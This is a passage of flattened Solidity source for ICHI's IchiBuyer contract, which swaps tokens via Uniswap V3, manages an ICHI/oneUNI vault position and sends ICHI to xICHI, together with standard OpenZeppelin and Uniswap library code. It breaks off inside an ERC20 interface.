// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; pragma abicoder v2; import './interfaces/IIchiBuyer.sol'; import './lib/SafeUint128.sol'; import './mocks/interfaces/IVault.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol'; import '@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol'; import '@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol'; import '@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol'; import '@uniswap/v3-periphery/contracts/libraries/Path.sol'; contract IchiBuyer is IIchiBuyer, Ownable { using SafeERC20 for IERC20; using SafeMath for uint256; using SafeUint128 for uint256; using Path for bytes; uint256 private constant PRECISION = 1e18; address public override immutable swapRouter; address public override immutable oneUni; address public override immutable uniswapFactory; address public override immutable xIchi; address public override immutable ichi; address public override vault; uint256 public override maxSlippage = 1e16; // 1% slippage by default /** * @notice Construct a new IchiBuyer * @param _swapRouter Uniswap V3 swap router address * @param _ichiVault address of the ICHI/oneUni vault to be used by the buyer * @param _oneUni oneUNI address * @param _uniswapFactory Uniswap V3 factory address * @param _xIchi xICHI address * @param _ichi ICHI address */ constructor(address _swapRouter, address _ichiVault, address _oneUni, address _uniswapFactory, address _xIchi, address _ichi) { swapRouter = _swapRouter; vault = _ichiVault; oneUni = _oneUni; uniswapFactory = _uniswapFactory; xIchi = _xIchi; ichi = _ichi; address token0 = IVault(_ichiVault).token0(); address token1 = IVault(_ichiVault).token1(); require(token0 == _ichi || token1 == _ichi, 'IchiBuyer.constructor: ichi token vault mismatch'); require(token0 == _oneUni || token1 == _oneUni, 'IchiBuyer.constructor: oneUni token vault mismatch'); } /** * @notice Swap the amount of the ERC20 token for another ERC20 on Uniswap V3 as long as Maximum_Slippage isn’t exceeded * @param route uniswap route to follow for the swap * @return amountReceived - amount received and transfered to the vault */ function trade(bytes calldata route) external onlyOwner returns(uint256 amountReceived) { (address token0, , ) = route.decodeFirstPool(); uint256 amountSend = IERC20(token0).balanceOf(address(this)); ( address token1, uint256 withoutSlippage ) = spotForRoute(amountSend, route); uint256 allowSlippage = withoutSlippage.mul(maxSlippage).div(PRECISION); uint256 minAmountOut = withoutSlippage.sub(allowSlippage); TransferHelper.safeApprove(token0, swapRouter, amountSend); ISwapRouter.ExactInputParams memory params = ISwapRouter.ExactInputParams({ path: route, recipient: address(this), deadline: block.timestamp, amountIn: amountSend, amountOutMinimum: minAmountOut }); amountReceived = ISwapRouter(swapRouter).exactInput(params); emit Trade(msg.sender, token0, amountSend, token1, amountReceived); } /** * @notice Transfer available ICHI to xIchi contract for xIchi tokens */ function transferIchi() public override onlyOwner { uint256 balanceIchi = IERC20(ichi).balanceOf(address(this)); bool success = IERC20(ichi).transfer( xIchi, balanceIchi ); require(success, 'IchiBuyer.transferIchi: xIchiContract rejected transfer'); emit TransferIchi(msg.sender, balanceIchi); } /** * @notice Redeem liquidity from IchiVault, transfer available ICHI to xIchi contract for xIchi tokens, open vault position with any surplus oneUni * @dev Be sure to recover from over-limit in IchiVault */ function resetVaultPosition() external override onlyOwner { /* 1. Redeem any available ICHI-oneUNI ICHI vault ERC20 tokens to receive back ICHI and/or oneUNI. */ bool ichiIsToken0; uint256 shares = IVault(vault).balanceOf(address(this)); if (shares > 0) { IVault(vault).withdraw( shares, address(this) ); } address token0Addr = IVault(vault).token0(); if(token0Addr == ichi) { ichiIsToken0 = true; } /* 2. Send all available ICHI balance to the xICHI contract */ transferIchi(); /* 3. Deposit any available oneUNI back into the ICHI-oneUNI Vault */ uint256 balanceOneUni = IERC20(oneUni).balanceOf(address(this)); if(balanceOneUni > 0) { IERC20(oneUni).safeApprove(vault, balanceOneUni); if(ichiIsToken0) { shares = IVault(vault).deposit(0, balanceOneUni, address(this)); require(shares > 0, 'ichiBuyer.resetVaultPosition: did not receive vault shares'); } else { shares = IVault(vault).deposit(balanceOneUni, 0, address(this)); require(shares > 0, 'ichiBuyer.resetVaultPosition: did not receive vault shares'); } } emit ResetVaultPosition(msg.sender, balanceOneUni, shares); } /** * @notice Redeem liquidity, swap oneUni for ICHI, send all ICHI to xICHI. * @param fee uniswap fee for pool selection */ function liquidate(uint24 fee) external override onlyOwner { /* 1. Redeem any available ICHI-oneUNI ICHI vault ERC20 tokens to receive back ICHI and/or oneUNI. */ uint256 amount0; uint256 amount1; uint256 amountIchi; uint256 amountOneUni; uint256 amountReceived; uint256 amountSend; uint256 shares = IVault(vault).balanceOf(address(this)); if(shares > 0) { (amount0, amount1) = IVault(vault).withdraw( shares, address(this) ); } address token0Addr = IVault(vault).token0(); if(token0Addr == ichi) { amountIchi = amount0; amountOneUni = amount1; } else { amountIchi = amount1; amountOneUni = amount0; } /* * 2. Swap oneUni for ICHI */ amountSend = IERC20(oneUni).balanceOf(address(this)); uint256 withoutSlippage = ichiForOneUniSpot(amountSend, fee); uint256 allowSlippage = withoutSlippage.mul(maxSlippage).div(PRECISION); uint256 minAmountOut = withoutSlippage.sub(allowSlippage); ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({ tokenIn: oneUni, tokenOut: ichi, fee: fee, recipient: address(this), deadline: block.timestamp, amountIn: amountSend, amountOutMinimum: minAmountOut, sqrtPriceLimitX96: 0 }); TransferHelper.safeApprove(oneUni, swapRouter, amountSend); amountReceived = ISwapRouter(swapRouter).exactInputSingle(params); /* 3. Send all available ICHI balance to the xICHI contract */ uint256 balanceIchi = IERC20(ichi).balanceOf(address(this)); bool success = IERC20(ichi).transfer( xIchi, balanceIchi ); require(success, 'IchiBuyer.transferIchi: xIchiContract rejected transfer'); emit Liquidate(msg.sender, amountIchi, amountOneUni, amountReceived, amountSend, balanceIchi); } /** * @notice determine the amountOut to receive for amountIn of tokens, at spot * @param amountIn tokens to swap * @param route uniswap route to follow * @return token to be received * @return amountOut to be received for the amount of tokens */ function spotForRoute(uint256 amountIn, bytes calldata route) public override view returns(address token, uint256 amountOut) { require(amountIn > 0, 'IchiBuyer.spotForRoute: amountIn must be > 0'); bytes memory path = route; while (true) { bool hasMultiplePools = path.hasMultiplePools(); (address tokenIn, address tokenOut, uint24 fee) = path.decodeFirstPool(); address pool = PoolAddress.computeAddress(uniswapFactory, PoolAddress.getPoolKey(tokenIn, tokenOut, fee)); int24 tick = _getTick(pool); amountIn = _fetchSpot(tokenIn, tokenOut, tick, amountIn); // decide whether to continue or terminate if (hasMultiplePools) { path = path.skipToken(); } else { amountOut = amountIn; token = tokenOut; break; } } } /** * @notice determine the ICHI to receive for amount of oneUni, at spot * @param amount tokens to swap * @param fee uniswap fee helps determine pool to use * @return ichiAmount to be received for the amount of oneUni */ function ichiForOneUniSpot(uint256 amount, uint24 fee) public override view returns(uint256 ichiAmount) { address pool = PoolAddress.computeAddress(uniswapFactory, PoolAddress.getPoolKey(ichi, oneUni, fee)); int24 tick = _getTick(pool); ichiAmount = _fetchSpot(oneUni, ichi, tick, amount); } /** * @notice checks whether the pool is unlocked and returns the current tick * @param pool the pool address * @return tick from slot0 */ function _getTick(address pool) internal view returns (int24 tick) { IUniswapV3Pool oracle = IUniswapV3Pool(pool); (, int24 tick_, , , , , bool unlocked_) = oracle.slot0(); require(unlocked_, "UniswapV3OracleSimple: the pool is locked"); tick = tick_; } /** * @notice returns equivalent _tokenOut for _amountIn, _tokenIn using spot price * @param _tokenIn token the input amount is in * @param _tokenOut token for the output amount * @param _tick tick for the spot price * @param _amountIn amount in _tokenIn * @return amountOut - equivalent amount in _tokenOut */ function _fetchSpot( address _tokenIn, address _tokenOut, int24 _tick, uint256 _amountIn ) internal pure returns (uint256 amountOut) { return OracleLibrary.getQuoteAtTick( _tick, _amountIn.toUint128(), _tokenIn, _tokenOut ); } /** * @notice set the oneUni IchiVault address * @param oneUniIchiVault address of the oneUni IchiVault */ function setVault(address oneUniIchiVault) external override onlyOwner { require(oneUniIchiVault != address(0), 'IchiBuyer.setVault : Ichi:OneUni hypervisor cannot be address(0)'); vault = oneUniIchiVault; emit SetVault(msg.sender, oneUniIchiVault); } /** * @notice set maxSlippage * @param maxSlippage_ new maxSlippage, precision 18, 1e18 = 100% */ function setMaxSlippage(uint256 maxSlippage_) external override onlyOwner { require(maxSlippage_ <= PRECISION, 'IchiBuyer.setMaxSlippage : out of range'); maxSlippage = maxSlippage_; emit SetMaxSlippage(msg.sender, maxSlippage_); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; interface IIchiBuyer { event Trade(address sender, address indexed token0, uint256 amountSend, address indexed token1, uint256 amountReceived); event TransferIchi(address sender, uint256 amountIchi); event ResetVaultPosition(address sender, uint256 amountOneUni, uint256 vaultShares); event Liquidate(address sender, uint256 amountIchi, uint256 amountOneUni, uint256 amountReceived, uint256 amountSend, uint256 balanceIchi); event SetMaxSlippage(address sender, uint256 maxSlippage); event SetVault(address sender, address oneUniIchiVault); function swapRouter() external view returns(address); function oneUni() external view returns(address); function uniswapFactory() external view returns(address); function xIchi() external view returns(address); function ichi() external view returns(address); function vault() external view returns(address); function maxSlippage() external view returns(uint256); function transferIchi() external; function resetVaultPosition() external; function liquidate(uint24 fee) external; function spotForRoute(uint256 amountIn, bytes calldata route) external view returns(address token, uint256 amountOut); function ichiForOneUniSpot(uint256 amount, uint24 fee) external view returns(uint256 ichiAmount); function setVault(address oneUniIchiVault) external; function setMaxSlippage(uint256 maxSlippage_) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; /// @title Safe uint128 casting methods /// @notice Contains methods for safely casting between types library SafeUint128 { /// @notice Cast a uint256 to a uint128, revert on overflow /// @param y The uint256 to be downcasted /// @return z The downcasted integer, now type uint128 function toUint128(uint256 y) internal pure returns (uint128 z) { require((z = uint128(y)) == y, "SafeUint128: overflow"); } } // SPDX-License-Identifier: Unlicense pragma solidity 0.7.6; import "./IICHIVault.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IVault is IICHIVault, IERC20 {} // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './pool/IUniswapV3PoolImmutables.sol'; import './pool/IUniswapV3PoolState.sol'; import './pool/IUniswapV3PoolDerivedState.sol'; import './pool/IUniswapV3PoolActions.sol'; import './pool/IUniswapV3PoolOwnerActions.sol'; import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0 <0.8.0; import '@uniswap/v3-core/contracts/libraries/FullMath.sol'; import '@uniswap/v3-core/contracts/libraries/TickMath.sol'; import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol'; import '@uniswap/v3-core/contracts/libraries/LowGasSafeMath.sol'; import '../libraries/PoolAddress.sol'; /// @title Oracle library /// @notice Provides functions to integrate with V3 pool oracle library OracleLibrary { /// @notice Fetches time-weighted average tick using Uniswap V3 oracle /// @param pool Address of Uniswap V3 pool that we want to observe /// @param period Number of seconds in the past to start calculating time-weighted average /// @return timeWeightedAverageTick The time-weighted average tick from (block.timestamp - period) to block.timestamp function consult(address pool, uint32 period) internal view returns (int24 timeWeightedAverageTick) { require(period != 0, 'BP'); uint32[] memory secondAgos = new uint32[](2); secondAgos[0] = period; secondAgos[1] = 0; (int56[] memory tickCumulatives, ) = IUniswapV3Pool(pool).observe(secondAgos); int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0]; timeWeightedAverageTick = int24(tickCumulativesDelta / period); // Always round to negative infinity if (tickCumulativesDelta < 0 && (tickCumulativesDelta % period != 0)) timeWeightedAverageTick--; } /// @notice Given a tick and a token amount, calculates the amount of token received in exchange /// @param tick Tick value used to calculate the quote /// @param baseAmount Amount of token to be converted /// @param baseToken Address of an ERC20 token contract used as the baseAmount denomination /// @param quoteToken Address of an ERC20 token contract used as the quoteAmount denomination /// @return quoteAmount Amount of quoteToken received for baseAmount of baseToken function getQuoteAtTick( int24 tick, uint128 baseAmount, address baseToken, address quoteToken ) internal pure returns (uint256 quoteAmount) { uint160 sqrtRatioX96 = TickMath.getSqrtRatioAtTick(tick); // Calculate quoteAmount with better precision if it doesn't overflow when multiplied by itself if (sqrtRatioX96 <= type(uint128).max) { uint256 ratioX192 = uint256(sqrtRatioX96) * sqrtRatioX96; quoteAmount = baseToken < quoteToken ? FullMath.mulDiv(ratioX192, baseAmount, 1 << 192) : FullMath.mulDiv(1 << 192, baseAmount, ratioX192); } else { uint256 ratioX128 = FullMath.mulDiv(sqrtRatioX96, sqrtRatioX96, 1 << 64); quoteAmount = baseToken < quoteToken ? FullMath.mulDiv(ratioX128, baseAmount, 1 << 128) : FullMath.mulDiv(1 << 128, baseAmount, ratioX128); } } /// @notice Given a pool, it returns the number of seconds ago of the oldest stored observation /// @param pool Address of Uniswap V3 pool that we want to observe /// @return The number of seconds ago of the oldest observation stored for the pool function getOldestObservationSecondsAgo(address pool) internal view returns (uint32) { (, , uint16 observationIndex, uint16 observationCardinality, , , ) = IUniswapV3Pool(pool).slot0(); require(observationCardinality > 0, 'NI'); (uint32 observationTimestamp, , , bool initialized) = IUniswapV3Pool(pool).observations((observationIndex + 1) % observationCardinality); // The next index might not be initialized if the cardinality is in the process of increasing // In this case the oldest observation is always in index 0 if (!initialized) { (observationTimestamp, , , ) = IUniswapV3Pool(pool).observations(0); } return uint32(block.timestamp) - observationTimestamp; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.0; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF'); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST'); } /// @notice Approves the stipulated contract to spend the given allowance in the given token /// @dev Errors with 'SA' if transfer fails /// @param token The contract address of the token to be approved /// @param to The target of the approval /// @param value The amount of the given token the target will be allowed to spend function safeApprove( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA'); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; import '@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol'; /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface ISwapRouter is IUniswapV3SwapCallback { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } /// @notice Swaps `amountIn` of one token for as much as possible of another token /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata /// @return amountOut The amount of the received token function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } /// @notice Swaps as little as possible of one token for `amountOut` of another token /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata /// @return amountIn The amount of the input token function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed) /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata /// @return amountIn The amount of the input token function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.0; import './BytesLib.sol'; /// @title Functions for manipulating path data for multihop swaps library Path { using BytesLib for bytes; /// @dev The length of the bytes encoded address uint256 private constant ADDR_SIZE = 20; /// @dev The length of the bytes encoded fee uint256 private constant FEE_SIZE = 3; /// @dev The offset of a single token address and pool fee uint256 private constant NEXT_OFFSET = ADDR_SIZE + FEE_SIZE; /// @dev The offset of an encoded pool key uint256 private constant POP_OFFSET = NEXT_OFFSET + ADDR_SIZE; /// @dev The minimum length of an encoding that contains 2 or more pools uint256 private constant MULTIPLE_POOLS_MIN_LENGTH = POP_OFFSET + NEXT_OFFSET; /// @notice Returns true iff the path contains two or more pools /// @param path The encoded swap path /// @return True if path contains two or more pools, otherwise false function hasMultiplePools(bytes memory path) internal pure returns (bool) { return path.length >= MULTIPLE_POOLS_MIN_LENGTH; } /// @notice Returns the number of pools in the path /// @param path The encoded swap path /// @return The number of pools in the path function numPools(bytes memory path) internal pure returns (uint256) { // Ignore the first token address. From then on every fee and token offset indicates a pool. return ((path.length - ADDR_SIZE) / NEXT_OFFSET); } /// @notice Decodes the first pool in path /// @param path The bytes encoded swap path /// @return tokenA The first token of the given pool /// @return tokenB The second token of the given pool /// @return fee The fee level of the pool function decodeFirstPool(bytes memory path) internal pure returns ( address tokenA, address tokenB, uint24 fee ) { tokenA = path.toAddress(0); fee = path.toUint24(ADDR_SIZE); tokenB = path.toAddress(NEXT_OFFSET); } /// @notice Gets the segment corresponding to the first pool in the path /// @param path The bytes encoded swap path /// @return The segment containing all data necessary to target the first pool in the path function getFirstPool(bytes memory path) internal pure returns (bytes memory) { return path.slice(0, POP_OFFSET); } /// @notice Skips a token + fee element from the buffer and returns the remainder /// @param path The swap path /// @return The remaining token + fee elements in the path function skipToken(bytes memory path) internal pure returns (bytes memory) { return path.slice(NEXT_OFFSET, path.length - NEXT_OFFSET); } } // SPDX-License-Identifier: Unlicense pragma solidity 0.7.6; interface IICHIVault{ function ichiVaultFactory() external view returns(address); function pool() external view returns(address); function token0() external view returns(address); function allowToken0() external view returns(bool); function token1() external view returns(address); function allowToken1() external view returns(bool); function fee() external view returns(uint24); function tickSpacing() external view returns(int24); function affiliate() external view returns(address); function baseLower() external view returns(int24); function baseUpper() external view returns(int24); function limitLower() external view returns(int24); function limitUpper() external view returns(int24); function deposit0Max() external view returns(uint256); function deposit1Max() external view returns(uint256); function maxTotalSupply() external view returns(uint256); function hysteresis() external view returns(uint256); function getTotalAmounts() external view returns (uint256, uint256); function deposit( uint256, uint256, address ) external returns (uint256); function withdraw( uint256, address ) external returns (uint256, uint256); function rebalance( int24 _baseLower, int24 _baseUpper, int24 _limitLower, int24 _limitUpper, int256 swapQuantity ) external; function setDepositMax( uint256 _deposit0Max, uint256 _deposit1Max) external; function setAffiliate( address _affiliate) external; event DeployICHIVault( address indexed sender, address indexed pool, bool allowToken0, bool allowToken1, address owner, uint256 twapPeriod); event SetTwapPeriod( address sender, uint32 newTwapPeriod ); event Deposit( address indexed sender, address indexed to, uint256 shares, uint256 amount0, uint256 amount1 ); event Withdraw( address indexed sender, address indexed to, uint256 shares, uint256 amount0, uint256 amount1 ); event Rebalance( int24 tick, uint256 totalAmount0, uint256 totalAmount1, uint256 feeAmount0, uint256 feeAmount1, uint256 totalSupply ); event MaxTotalSupply( address indexed sender, uint256 maxTotalSupply); event Hysteresis( address indexed sender, uint256 hysteresis); event DepositMax( address indexed sender, uint256 deposit0Max, uint256 deposit1Max); event Affiliate( address indexed sender, address affiliate); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function 